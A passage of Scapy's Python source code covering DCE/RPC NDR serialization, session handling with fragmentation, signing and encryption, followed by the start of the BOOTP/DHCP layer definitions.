self)._find_fld_pkt_val(pkt, val) return fld, val.value # Can't use i2repr = Field.i2repr and so on on PY2 :/ def i2repr(self, pkt, val): return repr(val) def i2h(self, pkt, x): return x def h2i(self, pkt, x): return x def valueof(self, pkt, x): fld, val = self._find_fld_pkt_val(pkt, x) return fld.valueof(pkt, x.value) class NDRUnionField(NDRConstructedType, _NDRUnionField): def __init__(self, flds, dflt, align, switch_fmt): _NDRUnionField.__init__(self, flds, dflt, align=align, switch_fmt=switch_fmt) NDRConstructedType.__init__(self, [x[0] for x in flds] + [dflt]) def any2i(self, pkt, x): # User-friendly helper if x: if not isinstance(x, NDRUnion): raise ValueError("Invalid value for %s; should be NDRUnion" % self.name) else: x.value = _NDRUnionField.any2i(self, pkt, x) return x # Misc class _ProxyArray: # Hack for recursive fields DEPORTED_CONFORMANTS field __slots__ = ["getfld"] def __init__(self, getfld): self.getfld = getfld def __len__(self): try: return len(self.getfld()) except AttributeError: return 0 def __iter__(self): try: return iter(self.getfld()) except AttributeError: return iter([]) class _ProxyTuple: # Hack for recursive fields ALIGNMENT field __slots__ = ["getfld"] def __init__(self, getfld): self.getfld = getfld def __getitem__(self, name): try: return self.getfld()[name] except AttributeError: raise KeyError def NDRRecursiveClass(clsname): """ Return a special class that is used for pointer recursion """ # Get module where this is called frame = inspect.currentframe().f_back mod = frame.f_globals["__loader__"].name getcls = lambda: getattr(importlib.import_module(mod), clsname) class _REC(NDRPacket): ALIGNMENT = _ProxyTuple(lambda: getattr(getcls(), "ALIGNMENT")) DEPORTED_CONFORMANTS = _ProxyArray( lambda: getattr(getcls(), "DEPORTED_CONFORMANTS") ) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): return getcls() return _REC # The very few NDR-specific structures class NDRContextHandle(NDRPacket): ALIGNMENT = (4, 4) fields_desc = [ LEIntField("attributes", 0), StrFixedLenField("uuid", b"", length=16), ] def guess_payload_class(self, payload): return conf.padding_layer class NDRNone(NDRPacket): # This is only used in NDRPacketListField to act as a "None" pointer, and is # a workaround because the field doesn't support None as a value in the list. name = "None" ALIGNMENT = (4, 8) fields_desc = [ NDRInt3264Field("ptr", 0), ] # --- Type Serialization Version 1 - [MSRPCE] sect 2.2.6 def _get_ndrtype1_endian(pkt): if pkt.underlayer is None: return "<" return {0x00: ">", 0x10: "<"}.get(pkt.underlayer.Endianness, "<") class NDRSerialization1Header(Packet): fields_desc = [ ByteField("Version", 1), ByteEnumField("Endianness", 0x10, {0x00: "big", 0x10: "little"}), LEShortField("CommonHeaderLength", 8), XLEIntField("Filler", 0xCCCCCCCC), ] # Add a bit of goo so that valueof() goes through the header def _ndrlayer(self): cur = self while cur and not isinstance(cur, _NDRPacket) and cur.payload: cur = cur.payload if isinstance(cur, NDRPointer): cur = cur.value return cur def getfield_and_val(self, attr): try: return Packet.getfield_and_val(self, attr) except ValueError: return self._ndrlayer().getfield_and_val(attr) def valueof(self, name): return self._ndrlayer().valueof(name) class NDRSerialization1PrivateHeader(Packet): fields_desc = [ EField( LEIntField("ObjectBufferLength", 0), endianness_from=_get_ndrtype1_endian ), XLEIntField("Filler", 0), ] def ndr_deserialize1(b, cls, ptr_pack=False): """ Deserialize Type Serialization Version 1 [MS-RPCE] sect 2.2.6 :param ptr_pack: pack in a pointer to the structure. """ if issubclass(cls, NDRPacket): # We use an intermediary class because it uses NDRPacketField which handles # deported conformant fields if ptr_pack: hdrlen = 20 class _cls(NDRPacket): fields_desc = [NDRFullPointerField(NDRPacketField("pkt", None, cls))] else: hdrlen = 16 class _cls(NDRPacket): fields_desc = [NDRPacketField("pkt", None, cls)] hdr = NDRSerialization1Header(b[:8]) / NDRSerialization1PrivateHeader(b[8:16]) endian = {0x00: "big", 0x10: "little"}[hdr.Endianness] padlen = (-hdr.ObjectBufferLength) % _TYPE1_S_PAD # padlen should be 0 (pad included in length), but some implementations # implement apparently misread the spec return ( hdr / _cls( b[16 : hdrlen + hdr.ObjectBufferLength], ndr64=False, # Only NDR32 is supported in Type 1 ndrendian=endian, ).pkt / conf.padding_layer(b[hdrlen + padlen + hdr.ObjectBufferLength :]) ) return NDRSerialization1Header(b[:8]) / cls(b[8:]) def ndr_serialize1(pkt, ptr_pack=False): """ Serialize Type Serialization Version 1 [MS-RPCE] sect 2.2.6 :param ptr_pack: pack in a pointer to the structure. """ pkt = pkt.copy() endian = getattr(pkt, "ndrendian", "little") if not isinstance(pkt, NDRSerialization1Header): if not isinstance(pkt, NDRPacket): return bytes(NDRSerialization1Header(Endianness=endian) / pkt) if isinstance(pkt, NDRPointer): cls = pkt.value.__class__ else: cls = pkt.__class__ val = pkt pkt_len = len(pkt) # ObjectBufferLength: # > It MUST include the padding length and exclude the header itself pkt = NDRSerialization1Header( Endianness=endian ) / NDRSerialization1PrivateHeader( ObjectBufferLength=pkt_len + (-pkt_len) % _TYPE1_S_PAD ) else: cls = pkt.value.__class__ val = pkt.payload.payload pkt.payload.remove_payload() # See above about why we need an intermediary class if ptr_pack: class _cls(NDRPacket): fields_desc = [NDRFullPointerField(NDRPacketField("pkt", None, cls))] else: class _cls(NDRPacket): fields_desc = [NDRPacketField("pkt", None, cls)] ret = bytes(pkt / _cls(pkt=val, ndr64=False, ndrendian=endian)) return ret + (-len(ret) % _TYPE1_S_PAD) * b"\x00" class _NDRSerializeType1: def __init__(self, *args, **kwargs): self.ptr_pack = kwargs.pop("ptr_pack", False) super(_NDRSerializeType1, self).__init__(*args, **kwargs) def i2m(self, pkt, val): return ndr_serialize1(val, ptr_pack=self.ptr_pack) def m2i(self, pkt, s): return ndr_deserialize1(s, self.cls, ptr_pack=self.ptr_pack) def i2len(self, pkt, val): return len(self.i2m(pkt, val)) class NDRSerializeType1PacketField(_NDRSerializeType1, PacketField): __slots__ = ["ptr_pack"] class NDRSerializeType1PacketLenField(_NDRSerializeType1, PacketLenField): __slots__ = ["ptr_pack"] class NDRSerializeType1PacketListField(_NDRSerializeType1, PacketListField): __slots__ = ["ptr_pack"] def i2len(self, pkt, val): return sum(len(self.i2m(pkt, p)) for p in val) # --- DCE/RPC session class DceRpcSession(DefaultSession): """ A DCE/RPC session within a TCP socket. """ def __init__(self, *args, **kwargs): self.rpc_bind_interface: Union[DceRpcInterface, ComInterface] = None self.rpc_bind_is_com: bool = False self.ndr64 = False self.ndrendian = "little" self.support_header_signing = kwargs.pop("support_header_signing", True) self.header_sign = conf.dcerpc_force_header_signing self.ssp = kwargs.pop("ssp", None) self.sspcontext = kwargs.pop("sspcontext", None) self.auth_level = kwargs.pop("auth_level", None) self.sent_cont_ids = [] self.cont_id = 0 # Currently selected context self.auth_context_id = 0 # Currently selected authentication context self.assoc_group_id = 0 # Currently selected association group self.map_callid_opnum = {} self.frags = collections.defaultdict(lambda: b"") self.sniffsspcontexts = {} # Unfinished contexts for passive if conf.dcerpc_session_enable and conf.winssps_passive: for ssp in conf.winssps_passive: self.sniffsspcontexts[ssp] = None super(DceRpcSession, self).__init__(*args, **kwargs) def _up_pkt(self, pkt): """ Common function to handle the DCE/RPC session: what interfaces are bind, opnums, etc. """ opnum = None opts = {} if DceRpc5Bind in pkt or DceRpc5AlterContext in pkt: # bind => get which RPC interface self.sent_cont_ids = [x.cont_id for x in pkt.context_elem] for ctx in pkt.context_elem: if_uuid = ctx.abstract_syntax.if_uuid if_version = ctx.abstract_syntax.if_version try: self.rpc_bind_interface = DCE_RPC_INTERFACES[(if_uuid, if_version)] self.rpc_bind_is_com = False except KeyError: try: self.rpc_bind_interface = COM_INTERFACES[if_uuid] self.rpc_bind_is_com = True except KeyError: self.rpc_bind_interface = None log_runtime.warning( "Unknown RPC interface %s. Try loading the IDL" % if_uuid ) elif DceRpc5BindAck in pkt or DceRpc5AlterContextResp in pkt: # bind ack => is it NDR64 for i, res in enumerate(pkt.results): if res.result == 0: # Accepted # Context try: self.cont_id = self.sent_cont_ids[i] except IndexError: self.cont_id = 0 finally: self.sent_cont_ids = [] self.assoc_group_id = pkt.assoc_group_id # Endianness self.ndrendian = {0: "big", 1: "little"}[pkt[DceRpc5].endian] # Transfer syntax if res.transfer_syntax.sprintf("%if_uuid%") == "NDR64": self.ndr64 = True elif DceRpc5Request in pkt: # request => match opnum with callID opnum = pkt.opnum uid = (self.assoc_group_id, pkt.call_id) if self.rpc_bind_is_com: self.map_callid_opnum[uid] = ( opnum, pkt[DceRpc5Request].payload.payload, ) else: self.map_callid_opnum[uid] = opnum, pkt[DceRpc5Request].payload elif DceRpc5Response in pkt: # response => get opnum from table uid = (self.assoc_group_id, pkt.call_id) try: opnum, opts["request_packet"] = self.map_callid_opnum[uid] del self.map_callid_opnum[uid] except KeyError: log_runtime.info("Unknown call_id %s in DCE/RPC session" % pkt.call_id) # Bind / Alter request/response specific if ( DceRpc5Bind in pkt or DceRpc5AlterContext in pkt or DceRpc5BindAck in pkt or DceRpc5AlterContextResp in pkt ): # Detect if "Header Signing" is in use if pkt.pfc_flags & 0x04: # PFC_SUPPORT_HEADER_SIGN self.header_sign = True return opnum, opts # [C706] sect 12.6.2 - Fragmentation and Reassembly # Since the connection-oriented transport guarantees sequentiality, the receiver # will always receive the fragments in order. def _defragment(self, pkt, body=None): """ Function to defragment DCE/RPC packets. """ uid = (self.assoc_group_id, pkt.call_id) if pkt.pfc_flags.PFC_FIRST_FRAG and pkt.pfc_flags.PFC_LAST_FRAG: # Not fragmented return body if pkt.pfc_flags.PFC_FIRST_FRAG or uid in self.frags: # Packet is fragmented if body is None: body = pkt[DceRpc5].payload.payload.original self.frags[uid] += body if pkt.pfc_flags.PFC_LAST_FRAG: return self.frags[uid] else: # Not fragmented return body # C706 sect 12.5.2.15 - PDU Body Length # "The maximum PDU body size is 65528 bytes." MAX_PDU_BODY_SIZE = 4176 def _fragment(self, pkt, body): """ Function to fragment DCE/RPC packets. """ if len(body) > self.MAX_PDU_BODY_SIZE: # Clear any PFC_*_FRAG flag pkt.pfc_flags &= 0xFC # Iterate through fragments cur = None while body: # Create a fragment pkt_frag = pkt.copy() if cur is None: # It's the first one pkt_frag.pfc_flags += "PFC_FIRST_FRAG" # Split cur, body = ( body[: self.MAX_PDU_BODY_SIZE], body[self.MAX_PDU_BODY_SIZE :], ) if not body: # It's the last one pkt_frag.pfc_flags += "PFC_LAST_FRAG" yield pkt_frag, cur else: yield pkt, body # [MS-RPCE] sect 3.3.1.5.2.2 # The PDU header, PDU body, and sec_trailer MUST be passed in the input message, in # this order, to GSS_WrapEx, GSS_UnwrapEx, GSS_GetMICEx, and GSS_VerifyMICEx. For # integrity protection the sign flag for that PDU segment MUST be set to TRUE, else # it MUST be set to FALSE. For confidentiality protection, the conf_req_flag for # that PDU segment MUST be set to TRUE, else it MUST be set to FALSE. # If the authentication level is RPC_C_AUTHN_LEVEL_PKT_PRIVACY, the PDU body will # be encrypted. # The PDU body from the output message of GSS_UnwrapEx represents the plain text # version of the PDU body. The PDU header and sec_trailer output from the output # message SHOULD be ignored. # Similarly the signature output SHOULD be ignored. def in_pkt(self, pkt): # Check for encrypted payloads body = None if conf.raw_layer in pkt.payload: body = bytes(pkt.payload[conf.raw_layer]) # If we are doing passive sniffing if conf.dcerpc_session_enable and conf.winssps_passive: # We have Windows SSPs, and no current context if pkt.auth_verifier and pkt.auth_verifier.is_ssp(): # This is a bind/alter/auth3 req/resp for ssp in self.sniffsspcontexts: self.sniffsspcontexts[ssp], status = ssp.GSS_Passive( self.sniffsspcontexts[ssp], pkt.auth_verifier.auth_value, req_flags=GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS | GSS_C_FLAGS.GSS_C_DCE_STYLE, ) if status == GSS_S_COMPLETE: self.auth_level = DCE_C_AUTHN_LEVEL( int(pkt.auth_verifier.auth_level) ) self.ssp = ssp self.sspcontext = self.sniffsspcontexts[ssp] self.sniffsspcontexts[ssp] = None elif ( self.sspcontext and pkt.auth_verifier and pkt.auth_verifier.is_protected() and body ): # This is a request/response if self.sspcontext.passive: self.ssp.GSS_Passive_set_Direction( self.sspcontext, IsAcceptor=DceRpc5Response in pkt, ) if pkt.auth_verifier and pkt.auth_verifier.is_protected() and body: if self.sspcontext is None: return pkt if self.auth_level in ( RPC_C_AUTHN_LEVEL.PKT_INTEGRITY, RPC_C_AUTHN_LEVEL.PKT_PRIVACY, ): # note: 'vt_trailer' is included in the pdu body # [MS-RPCE] sect 2.2.2.13 # "The data structures MUST only appear in a request PDU, and they # SHOULD be placed in the PDU immediately after the stub data but # before the authentication padding octets. Therefore, for security # purposes, the verification trailer is considered part of the PDU # body." if pkt.vt_trailer: body += bytes(pkt.vt_trailer) # Account for padding when computing checksum/encryption if pkt.auth_padding: body += pkt.auth_padding # Build pdu_header and sec_trailer pdu_header = pkt.copy() sec_trailer = pdu_header.auth_verifier # sec_trailer: include the sec_trailer but not the Authentication token authval_len = len(sec_trailer.auth_value) # Discard everything out of the header pdu_header.auth_padding = None pdu_header.auth_verifier = None pdu_header.payload.payload = NoPayload() pdu_header.vt_trailer = None # [MS-RPCE] sect 2.2.2.12 if self.auth_level == RPC_C_AUTHN_LEVEL.PKT_PRIVACY: _msgs = self.ssp.GSS_UnwrapEx( self.sspcontext, [ # "PDU header" SSP.WRAP_MSG( conf_req_flag=False, sign=self.header_sign, data=bytes(pdu_header), ), # "PDU body" SSP.WRAP_MSG( conf_req_flag=True, sign=True, data=body, ), # "sec_trailer" SSP.WRAP_MSG( conf_req_flag=False, sign=self.header_sign, data=bytes(sec_trailer)[:-authval_len], ), ], pkt.auth_verifier.auth_value, ) body = _msgs[1].data # PDU body elif self.auth_level == RPC_C_AUTHN_LEVEL.PKT_INTEGRITY: self.ssp.GSS_VerifyMICEx( self.sspcontext, [ # "PDU header" SSP.MIC_MSG( sign=self.header_sign, data=bytes(pdu_header), ), # "PDU body" SSP.MIC_MSG( sign=True, data=body, ), # "sec_trailer" SSP.MIC_MSG( sign=self.header_sign, data=bytes(sec_trailer)[:-authval_len], ), ], pkt.auth_verifier.auth_value, ) # Put padding back into the header if pkt.auth_padding: padlen = len(pkt.auth_padding) body, pkt.auth_padding = body[:-padlen], body[-padlen:] # Put back vt_trailer into the header, if present. if _SECTRAILER_MAGIC in body: body, pkt.vt_trailer = pkt.get_field("vt_trailer").getfield( pkt, body ) # If it's a request / response, could be fragmented if isinstance(pkt.payload, (DceRpc5Request, DceRpc5Response)) and body: body = self._defragment(pkt, body) if not body: return # Get opnum and options opnum, opts = self._up_pkt(pkt) # Try to parse the payload if opnum is not None and self.rpc_bind_interface: # use opnum to parse the payload is_response = DceRpc5Response in pkt try: cls = self.rpc_bind_interface.opnums[opnum][is_response] except KeyError: log_runtime.warning( "Unknown opnum %s for interface %s" % (opnum, self.rpc_bind_interface) ) pkt.payload[conf.raw_layer].load = body return pkt if body: orpc = None if self.rpc_bind_is_com: # If interface is a COM interface, start off by dissecting the # ORPCTHIS / ORPCTHAT argument from scapy.layers.msrpce.raw.ms_dcom import ORPCTHAT, ORPCTHIS # [MS-DCOM] sect 2.2.13 # "ORPCTHIS and ORPCTHAT structures MUST be marshaled using # the NDR (32) Transfer Syntax" if is_response: orpc = ORPCTHAT(body, ndr64=False) else: orpc = ORPCTHIS(body, ndr64=False) body = orpc.load orpc.remove_payload() # Dissect payload using class try: payload = cls( body, ndr64=self.ndr64, ndrendian=self.ndrendian, **opts ) except Exception: if conf.debug_dissector: log_runtime.error("%s dissector failed", cls.__name__) if cls is not None: raise payload = conf.raw_layer(body, _internal=1) pkt.payload[conf.raw_layer].underlayer.remove_payload() if conf.padding_layer in payload: # Most likely, dissection failed. log_runtime.warning( "Padding detected when dissecting %s. Looks wrong." % cls ) pad = payload[conf.padding_layer] pad.underlayer.payload = conf.raw_layer(load=pad.load) if orpc is not None: pkt /= orpc pkt /= payload # If a request was encrypted, we need to re-register it once re-parsed. if not is_response and self.auth_level == RPC_C_AUTHN_LEVEL.PKT_PRIVACY: self._up_pkt(pkt) elif not cls.fields_desc: # Request class has no payload pkt /= cls(ndr64=self.ndr64, ndrendian=self.ndrendian, **opts) elif body: pkt.payload[conf.raw_layer].load = body return pkt def out_pkt(self, pkt): assert DceRpc5 in pkt # Register opnum and options self._up_pkt(pkt) # If it's a request / response, we can frag it if isinstance(pkt.payload, (DceRpc5Request, DceRpc5Response)): # The list of packet responses pkts = [] # Take the body payload, and eventually split it body = bytes(pkt.payload.payload) for pkt, body in self._fragment(pkt, body): if pkt.auth_verifier is not None: # Verifier already set pkts.append(pkt) continue # Sign / Encrypt if self.sspcontext: signature = None if self.auth_level in ( RPC_C_AUTHN_LEVEL.PKT_INTEGRITY, RPC_C_AUTHN_LEVEL.PKT_PRIVACY, ): # Remember that vt_trailer is included in the PDU if pkt.vt_trailer: body += bytes(pkt.vt_trailer) # Account for padding when computing checksum/encryption if pkt.auth_padding is None: padlen = (-len(body)) % _COMMON_AUTH_PAD # authdata padding pkt.auth_padding = b"\x00" * padlen else: padlen = len(pkt.auth_padding) # Remember that padding IS SIGNED & ENCRYPTED body += pkt.auth_padding # Add the auth_verifier pkt.auth_verifier = CommonAuthVerifier( auth_type=self.ssp.auth_type, auth_level=self.auth_level, auth_context_id=self.auth_context_id, auth_pad_length=padlen, # Note: auth_value should have the correct length because # when using PFC_SUPPORT_HEADER_SIGN, auth_len # (and frag_len) is included in the token.. but this # creates a dependency loop as you'd need to know the token # length to compute the token. Windows solves this by # setting the 'Maximum Signature Length' (or something # similar) beforehand, instead of the real length. # See `gensec_sig_size` in samba. auth_value=b"\x00" * self.ssp.MaximumSignatureLength(self.sspcontext), ) # Build pdu_header and sec_trailer pdu_header = pkt.copy() pdu_header.auth_len = len(pdu_header.auth_verifier) - 8 pdu_header.frag_len = len(pdu_header) sec_trailer = pdu_header.auth_verifier # sec_trailer: include the sec_trailer but not the # Authentication token authval_len = len(sec_trailer.auth_value) # sec_trailer.auth_value = None # Discard everything out of the header pdu_header.auth_padding = None pdu_header.auth_verifier = None pdu_header.payload.payload = NoPayload() pdu_header.vt_trailer = None signature = None # [MS-RPCE] sect 2.2.2.12 if self.auth_level == RPC_C_AUTHN_LEVEL.PKT_PRIVACY: _msgs, signature = self.ssp.GSS_WrapEx( self.sspcontext, [ # "PDU header" SSP.WRAP_MSG( conf_req_flag=False, sign=self.header_sign, data=bytes(pdu_header), ), # "PDU body" SSP.WRAP_MSG( conf_req_flag=True, sign=True, data=body, ), # "sec_trailer" SSP.WRAP_MSG( conf_req_flag=False, sign=self.header_sign, data=bytes(sec_trailer)[:-authval_len], ), ], ) s = _msgs[1].data # PDU body elif self.auth_level == RPC_C_AUTHN_LEVEL.PKT_INTEGRITY: signature = self.ssp.GSS_GetMICEx( self.sspcontext, [ # "PDU header" SSP.MIC_MSG( sign=self.header_sign, data=bytes(pdu_header), ), # "PDU body" SSP.MIC_MSG( sign=True, data=body, ), # "sec_trailer" SSP.MIC_MSG( sign=self.header_sign, data=bytes(sec_trailer)[:-authval_len], ), ], pkt.auth_verifier.auth_value, ) s = body else: raise ValueError("Impossible") # Put padding back in the header if padlen: s, pkt.auth_padding = s[:-padlen], s[-padlen:] # Put back vt_trailer into the header if pkt.vt_trailer: vtlen = len(pkt.vt_trailer) s, pkt.vt_trailer = s[:-vtlen], s[-vtlen:] else: s = body # now inject the encrypted payload into the packet pkt.payload.payload = conf.raw_layer(load=s) # and the auth_value if signature: pkt.auth_verifier.auth_value = signature else: pkt.auth_verifier = None # Add to the list pkts.append(pkt) return pkts else: return [pkt] def process(self, pkt: Packet) -> Optional[Packet]: """ Used when DceRpcSession is used for passive sniffing. """ pkt = super(DceRpcSession, self).process(pkt) if pkt is not None and DceRpc5 in pkt: rpkt = self.in_pkt(pkt) if rpkt is None: # We are passively dissecting a fragmented packet. Return # just the header showing that it was indeed, fragmented. pkt[DceRpc5].payload.remove_payload() return pkt return rpkt return pkt class DceRpcSocket(StreamSocket): """ A Wrapper around StreamSocket that uses a DceRpcSession """ def __init__(self, *args, **kwargs): self.transport = kwargs.pop("transport", None) self.session = DceRpcSession( ssp=kwargs.pop("ssp", None), auth_level=kwargs.pop("auth_level", None), support_header_signing=kwargs.pop("support_header_signing", True), ) super(DceRpcSocket, self).__init__(*args, **kwargs) def send(self, x, **kwargs): for pkt in self.session.out_pkt(x): if self.transport == DCERPC_Transport.NCACN_NP: # In this case DceRpcSocket wraps a SMB_RPC_SOCKET, call it directly. self.ins.send(pkt, **kwargs) else: super(DceRpcSocket, self).send(pkt, **kwargs) def recv(self, x=None): pkt = super(DceRpcSocket, self).recv(x) if pkt is not None: return self.session.in_pkt(pkt) # --- TODO cleanup below # Heuristically way to find the payload class # # To add a possible payload to a DCE/RPC packet, one must first create the # packet class, then instead of binding layers using bind_layers, he must # call DceRpcPayload.register_possible_payload() with the payload class as # parameter. # # To be able to decide if the payload class is capable of handling the rest of # the dissection, the classmethod can_handle() should be implemented in the # payload class. This method is given the rest of the string to dissect as # first argument, and the DceRpc packet instance as second argument. Based on # this information, the method must return True if the class is capable of # handling the dissection, False otherwise class DceRpc4Payload(Packet): """Dummy class which use the dispatch_hook to find the payload class""" _payload_class = [] @classmethod def dispatch_hook(cls, _pkt, _underlayer=None, *args, **kargs): """dispatch_hook to choose among different registered payloads""" for klass in cls._payload_class: if hasattr(klass, "can_handle") and klass.can_handle(_pkt, _underlayer): return klass log_runtime.warning("DCE/RPC payload class not found or undefined (using Raw)") return Raw @classmethod def register_possible_payload(cls, pay): """Method to call from possible DCE/RPC endpoint to register it as possible payload""" cls._payload_class.append(pay) bind_layers(DceRpc4, DceRpc4Payload) ================================================ FILE: scapy/layers/dhcp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ DHCP (Dynamic Host Configuration Protocol) and BOOTP Implements: - rfc951 - BOOTSTRAP PROTOCOL (BOOTP) - rfc1542 - Clarifications and Extensions for the Bootstrap Protocol - rfc1533 - DHCP Options and BOOTP Vendor Extensions """ try: from collections.abc import Iterable except ImportError: # For backwards compatibility. This was removed in Python 3.8 from collections import Iterable import random import struct import socket import re from scapy.ansmachine import AnsweringMachine from scapy.base_classes import Net from scapy.compat import chb, orb, bytes_encode from scapy.fields import ( ByteEnumField, ByteField, Field, FieldListField, FlagsField, IntField, IPField, MACField, ShortField, StrEnumField, StrField, StrFixedLenField, XIntField, ) from scapy.layers.inet import UDP, IP from scapy.layers.l2 import Ether, HARDWARE_TYPES from scapy.packet import bind_layers, bind_bottom_up, Packet from scapy.utils import atol, itom, ltoa, sane, str2mac, mac2str from scapy.volatile import ( RandBin, RandByte, RandField, RandIP, RandInt, RandNum, RandNumExpo, VolatileValue, ) from scapy.arch import get_if_hwaddr from scapy.sendrecv import srp1 from scapy.error import warning from scapy.config import conf # Typing imports from typing import ( List, Optional, Union, ) dhcpmagic = b"c\x82Sc" class _BOOTP_chaddr(StrFixedLenField): def i2m(self, pkt, x): if isinstance(x, VolatileValue): x = x._fix() return MACField.i2m(self, pkt, x) def i2repr(self, pkt, v): if isinstance(v, VolatileValue): return repr(v) if pkt.htype == 1: # Ethernet if v[6:] == b"\x00" * 10: # Default padding return "%s (+ 10 nul pad)" % str2mac(v[:6]) else: return "%s (pad: %s)" % (str2mac(v[:6]), v[6:]) return super(_BOOTP_chaddr, self).i2repr(pkt, v) class BOOTP(Packet): name = "BOOTP" fields_desc = [ ByteEnumField("op", 1, {1: "BOOTREQUEST", 2: "BOOTREPLY"}), ByteEnumField("htype", 1, HARDWARE_TYPES), ByteField("hlen", 6), ByteField("hops", 0), XIntField("xid", 0), ShortField("secs", 0), FlagsField("flags", 0, 16, "???????????????B"), IPField("ciaddr", "0.0.0.0"), IPField("yiaddr", "0.0.0.0"), IPField("siaddr", "0.0.0.0"), IPField("giaddr", "0.0.0.0"), _BOOTP_chaddr("chaddr", b"", length=16), StrFixedLenField("sname", b"", length=64), StrFixedLenField("file", b"", length=128), StrEnumField("options", b"", {dhcpmagic: "DHCP magic"})] def guess_payload_class(self, payload): if self.options[:len(dhcpmagic)] == dhcpmagic: return DHCP else: return Packet.guess_payload_class(self, payload) def extract_padding(self, s): if self.options[:len(dhcpmagic)] == dhcpmagic: # set BOOTP options to DHCP magic cookie and make rest a payload of DHCP options # noqa: E501 payload = self.options[len(dhcpmagic):] self.options = self.options[:len(dhcpmagic)] return payload, None else: return b"", None def hashret(self): return struct.pack("!I", self.xid) def answers(self, other): if not isinstance(other, BOOTP): return 0 return self.xid == other.xid class _DHCPByteFieldListField(FieldListField): def randval(self): class _RandByteFieldList(RandField): def _fix(self): return [RandByte()] * int(RandByte()) return _RandByteFieldList() class RandClasslessStaticRoutesField(RandField): """ A RandValue for classless static routes """ def _fix(self): return "%s/%d:%s" % (RandIP(), RandNum(0, 32), RandIP()) class ClasslessFieldListField(FieldListField): def randval(self): class _RandClasslessField(RandField): def _fix(self): return [RandClasslessStaticRoutesField()] * int(RandNum(1, 28)) return _RandClasslessField() class ClasslessStaticRoutesField(Field): """ RFC 3442 defines classless static routes as up to 9 bytes per entry: # Code Len Destination 1 Router 1 +-----+---+----+-----+----+----+----+----+----+ | 121 | n | d1 | ... | dN | r1 | r2 | r3 | r4 | +-----+---+----+-----+----+----+----+----+----+ Destination first byte contains one octet describing the width followed by all the significant octets of the subnet. """ def m2i(self, pkt, x): # type: (Packet, bytes) -> str # b'\x20\x01\x02\x03\x04\t\x08\x07\x06' -> (1.2.3.4/32:9.8.7.6) prefix = orb(x[0]) octets = (prefix + 7) // 8 # Create the destination IP by using the number of octets # and padding up to 4 bytes to ensure a valid IP. dest = x[1:1 + octets] dest = socket.inet_ntoa(dest.ljust(4, b'\x00')) router = x[1 + octets:5 + octets] router = socket.inet_ntoa(router) return dest + "/" + str(prefix) + ":" + router def i2m(self, pkt, x): # type: (Packet, str) -> bytes # (1.2.3.4/32:9.8.7.6) -> b'\x20\x01\x02\x03\x04\t\x08\x07\x06' if not x: return b'' spx = re.split('/|:', str(x)) prefix = int(spx[1]) # if prefix is invalid value ( 0 > prefix > 32 ) then break if prefix > 32 or prefix < 0: warning("Invalid prefix value: %d (0x%x)", prefix, prefix) return b'' octets = (prefix + 7) // 8 dest = socket.inet_aton(spx[0])[:octets] router = socket.inet_aton(spx[2]) return struct.pack('b', prefix) + dest + router def getfield(self, pkt, s): prefix = orb(s[0]) route_len = 5 + (prefix + 7) // 8 return s[route_len:], self.m2i(pkt, s[:route_len]) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def randval(self): return RandClasslessStaticRoutesField() # DHCP_UNKNOWN, DHCP_IP, DHCP_IPLIST, DHCP_TYPE \ # = range(4) # # DHCP Options and BOOTP Vendor Extensions DHCPTypes = { 1: "discover", 2: "offer", 3: "request", 4: "decline", 5: "ack", 6: "nak", 7: "release", 8: "inform", 9: "force_renew", 10: "lease_query", 11: "lease_unassigned", 12: "lease_unknown", 13: "lease_active", } DHCPOptions = { 0: "pad", 1: IPField("subnet_mask", "0.0.0.0"), 2: IntField("time_zone", 500), 3: IPField("router", "0.0.0.0"), 4: IPField("time_server", "0.0.0.0"), 5: IPField("IEN_name_server", "0.0.0.0"), 6: IPField("name_server", "0.0.0.0"), 7: IPField("log_server", "0.0.0.0"), 8: IPField("cookie_server", "0.0.0.0"), 9: IPField("lpr_server", "0.0.0.0"), 10: IPField("impress-servers", "0.0.0.0"), 11: IPField("resource-location-servers", "0.0.0.0"), 12: "hostname", 13: ShortField("boot-size", 1000), 14: "dump_path", 15: "domain", 16: IPField("swap-server", "0.0.0.0"), 17: "root_disk_path", 18: "extensions-path", 19: ByteField("ip-forwarding", 0), 20: ByteField("non-local-source-routing", 0), 21: IPField("policy-filter", "0.0.0.0"), 22: ShortField("max_dgram_reass_size", 300), 23: ByteField("default_ttl", 50), 24: IntField("pmtu_timeout", 1000), 25: ShortField("path-mtu-plateau-table", 1000), 26: ShortField("interface-mtu", 50), 27: ByteField("all-subnets-local", 0), 28: IPField("broadcast_address", "0.0.0.0"), 29: ByteField("perform-mask-discovery", 0), 30: ByteField("mask-supplier", 0), 31: ByteField("router-discovery", 0), 32: IPField("router-solicitation-address", "0.0.0.0"), 33: IPField("static-routes", "0.0.0.0"), 34: ByteField("trailer-encapsulation", 0), 35: IntField("arp_cache_timeout", 1000), 36: ByteField("ieee802-3-encapsulation", 0), 37: ByteField("tcp_ttl", 100), 38: IntField("tcp_keepalive_interval", 1000), 39: ByteField("tcp_keepalive_garbage", 0), 40: StrField("NIS_domain", "www.example.com"), 41: IPField("NIS_server", "0.0.0.0"), 42: IPField("NTP_server", "0.0.0.0"), 43: "vendor_specific", 44: IPField("NetBIOS_server", "0.0.0.0"), 45: IPField("NetBIOS_dist_server", "0.0.0.0"), 46: ByteField("NetBIOS_node_type", 100), 47: "netbios-scope", 48: IPField("font-servers", "0.0.0.0"), 49: IPField("x-display-manager", "0.0.0.0"), 50: IPField("requested_addr", "0.0.0.0"), 51: IntField("lease_time", 43200), 52: ByteField("dhcp-option-overload", 100), 53: ByteEnumField("message-type", 1, DHCPTypes), 54: IPField("server_id", "0.0.0.0"), 55: _DHCPByteFieldListField( "param_req_list", [], ByteField("opcode", 0)), 56: "error_message", 57: ShortField("max_dhcp_size", 1500), 58: IntField("renewal_time", 21600), 59: IntField("rebinding_time", 37800), 60: StrField("vendor_class_id", "id"), 61: StrField("client_id", ""), 62: "nwip-domain-name", 64: "NISplus_domain", 65: IPField("NISplus_server", "0.0.0.0"), 66: "tftp_server_name", 67: StrField("boot-file-name", ""), 68: IPField("mobile-ip-home-agent", "0.0.0.0"), 69: IPField("SMTP_server", "0.0.0.0"), 70: IPField("POP3_server", "0.0.0.0"), 71: IPField("NNTP_server", "0.0.0.0"), 72: IPField("WWW_server", "0.0.0.0"), 73: IPField("Finger_server", 